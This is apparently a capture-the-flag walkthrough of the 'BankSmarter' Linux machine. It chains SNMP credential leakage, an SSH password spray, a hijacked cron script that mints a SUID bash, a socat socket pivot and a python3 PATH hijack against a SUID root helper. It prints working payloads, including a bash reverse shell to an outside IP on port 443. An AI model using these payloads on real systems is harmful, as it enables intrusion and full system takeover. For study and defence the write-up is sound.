Overview

BankSmarter is a Linux machine reached through SNMP. A default public community string exposes a plaintext credential pair in the SNMP MIB tree, which a password spray against SSH turns into an initial foothold. From there, a world-writable backup script running as a cron job under a second user is hijacked to mint a SUID shell, and a Unix domain socket found in shell history pivots to a third user. Root is reached by abusing a PATH-hijackable Python shebang in a SUID helper binary owned by root.

Attack Chain

  • Enumerate open TCP and UDP services and identify SSH and SNMP
  • Brute-force the SNMP community string with onesixtyone
  • Walk the SNMP MIB tree and recover plaintext SSH credentials
  • Confirm the credentials with a targeted hydra SSH spray
  • Log in over SSH and read the user flag
  • Identify a world-writable cron script owned by a second user
  • Use pspy and SNMP process data to confirm the cron job and its script
  • Hijack the script to create a SUID copy of bash
  • Catch a stable shell as the second user
  • Find a Unix domain socket referenced in .bash_history and pivot to a third user
  • Locate a root-owned, group-executable SUID helper with a hijackable python3 shebang
  • Plant a malicious python3 on PATH and trigger the helper for a SUID root shell
  • Read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan to identify the exposed services.

export IP=10.0.21.136; export NAME=BANKSMARTER; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 1500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

The only open TCP port is:

22

tcp scan results

With only ssh open, we move on to UDP.

sudo nmap $IP -sU --top-ports 100 -v -oA scans/nmap_top100_UDP_$NAME

The scan shows snmp open on port 161.

udp scan results

Port 161 - snmp

We start by fuzzing for community strings.

onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP

We find public.

onesixtyone community string

We use snmpbulkwalk to walk the full MIB tree, with two output styles: resolved names, and symbolic (-On) output as a fallback if the resolved version runs into errors.

snmpbulkwalk -v2c -c public -Cr100 $IP .1 > scans/snmpbulwalk_v2c_public_defaultNAMED.txt
snmpbulkwalk -v2c -c public -Cr100 -On $IP .1 > scans/snmpbulwalk_v2c_public_default.txt

We grep the resolved output for anything containing STRING.

grep -iE 'STRING' scans/snmpbulwalk_v2c_public_defaultNAMED.txt

Right at the top we find a leaked credential pair.

leaked credentials in snmp output

We save a users and passwords list, keeping a few case and special-character variations since SNMP output can mangle how strings are displayed.

We spray the recovered credentials against SSH with hydra.

hydra -L creds/users.txt -P creds/passwords.txt $IP ssh -t 4 -V

We get a hit.

hydra ssh hit

ssh credentials:

layne.stanley:5t6^jahTRjab

Foothold

We log in over SSH.

ssh layne.stanley@$IP

The login succeeds.

ssh login successful

We have an interactive shell as layne.stanley.

interactive shell as layne.stanley

We read the user flag.

user flag


Lateral Movement

While reading the user flag we notice bankSmarter_backup.sh sitting in layne.stanley’s home directory, owned by scott.weiland.

backup script owned by scott.weiland

We inspect the script and check which local users have shell access.

cat -n bankSmarter_backup.sh
cat /etc/passwd | grep -i "sh$"

Several users have shell access.

users with shell access

Recalling a Python server reference in the earlier SNMP output, we grep the saved snmpbulkwalk dump for a few more useful OIDs, starting with hrSWRunParameters, which contains the arguments processes were started with.

grep -iE 'sysContact|sysName|sysLocation|sysDescr' scans/snmpbulwalk_v2c_public_defaultNAMED.txt
grep -iE 'hrSWRunParameters' scans/snmpbulwalk_v2c_public_defaultNAMED.txt
grep -iE 'nsExtendOutput' scans/snmpbulwalk_v2c_public_defaultNAMED.txt
grep -iE 'pass|pwd|cred|user|key|token' scans/snmpbulwalk_v2c_public_defaultNAMED.txt

The hrSWRunParameters output reveals /opt/bank/pty_server.py.

hrSWRunParameters snmp output

We transfer pspy to the target to watch running processes, and confirm bankSmarter_backup.sh is executed every few minutes as a cron job by scott.weiland (UID=1002).

pspy confirms the cron job

Note: the target’s IP address changed after a machine restart.

Since bankSmarter_backup.sh sits in layne.stanley’s world-writable home directory, we can delete, move, and create files there, but we can’t directly edit the script while it exists (it’s owned by scott.weiland).

We first move the existing script out of the way.

mv bankSmarter_backup.sh bankSmarter_backup.bak

We then write a replacement that copies bash to a SUID binary. /dev/shm is the usual target for this, but it’s worth checking first, since it’s sometimes mounted nosuid.

findmnt -no OPTIONS /dev/shm

/dev/shm is mounted nosuid, ruling it out.

dev shm mounted nosuid

We target /tmp instead and write the new bankSmarter_backup.sh.

#!/bin/bash
cp /bin/bash /tmp/1002suidbash && chmod 6755 /tmp/1002suidbash

The payload is in place. Now we wait for the next cron run.

payload written and waiting

Our SUID copy of bash appears in /tmp.

suid bash copy created

We confirm it doesn’t drop privileges.

/tmp/1002suidbash -p -c id

The id output shows euid, egid, and groups all as scott.weiland.

id confirms scott.weiland privileges

We execute the SUID bash through Python so the effective privileges survive across child processes, without needing to pass -p to every subsequent command.

/tmp/1002suidbash -p -c 'python3 -c "import os,pty;os.setreuid(1002,1002);pty.spawn(\"/bin/bash\")"'

We have an interactive shell as scott.weiland.

interactive shell as scott.weiland

For stability, we set up a proper reverse shell too. First, we check whether the SUID bash copy is actually carrying all of scott.weiland’s privileges by adding id > /tmp/id.txt into bankSmarter_backup.sh.

id redirect payload added

The resulting /tmp/id.txt shows additional groups beyond what the SUID shell reported.

id.txt shows more groups

With a penelope listener started on port 443, we add a plain bash reverse shell payload to bankSmarter_backup.sh instead.

bash -c 'bash -i >& /dev/tcp/10.200.97.5/443 0>&1'

reverse shell payload added to cron script

After the next cron run, we catch a reverse shell as scott.weiland with the full set of privileges.

reverse shell caught with full privileges


Privilege Escalation

Checking .bash_history as scott.weiland, a socat connection to a Unix domain socket stands out immediately.

cat .bash_history

bash_history reveals socat connection

We connect to the socket.

socat stdio unix-connect:/opt/bank/sockets/live.sock

This gives us a shell as ronnie.stone.

shell as ronnie.stone via socat

We look for files owned by, or accessible to, the bank-team and bankers groups.

find / \( -group bank-team -o -group bankers \) 2>/dev/null

The output is noisy.

group search returns a lot of noise

We refine the search to exclude anything already owned by ronnie.stone.

find / \( -group bank-team -o -group bankers \) ! -user ronnie.stone 2>/dev/null

The filtered results are far more useful.

filtered group search results

/usr/local/bin/bank_backupd stands out: it’s owned by root and executable by the bankers group via a SUID bit.

ls -la /usr/local/bin/bank_backupd

bank_backupd is suid root, group bankers

Running it shows it wraps a Python backup script.

/usr/local/bin/bank_backupd

bank_backupd runs bank_backup.py

We locate and read that script.

find / -name "bank_backup.py" 2>/dev/null
ls -la /usr/local/bin/bank_backup.py

bank_backup.py location

cat /usr/local/bin/bank_backup.py

The shebang, #!/usr/bin/env python3, resolves python3 through PATH. Since bank_backupd runs with SUID root, this is a classic PATH hijack.

bank_backup.py shebang resolves python3 via PATH

Without normal shell tooling like nano available, we write a malicious python3 with a one-liner.

printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' > /tmp/python3
cat /tmp/python3
chmod +x /tmp/python3
ls -la /tmp/python3

Everything is in order.

malicious python3 ready and executable

We run bank_backupd with a modified PATH so our python3 is found first.

PATH=/tmp:$PATH /usr/local/bin/bank_backupd

bank_backupd runs without errors, dropping a SUID copy of bash with root privileges.

bank_backupd creates a root-owned suid bash

We execute the SUID bash with -p to keep the elevated privileges.

./rootbash -p

We have a shell as root.

root shell

We read the root flag.

root flag


Key Takeaways

BankSmarter chains together several small trust boundary mistakes into a full compromise. A default SNMP community string leaked plaintext SSH credentials, which handed over a low-privileged foothold. From there, a world-writable directory holding a cron-executed script became a privilege escalation primitive: since the script itself couldn’t be edited but the directory could, replacing it entirely produced a SUID shell as the script’s owner. A Unix domain socket exposed in shell history pivoted to a third account, and the final step was a textbook PATH hijack against a SUID root binary that resolved its interpreter through env instead of an absolute path.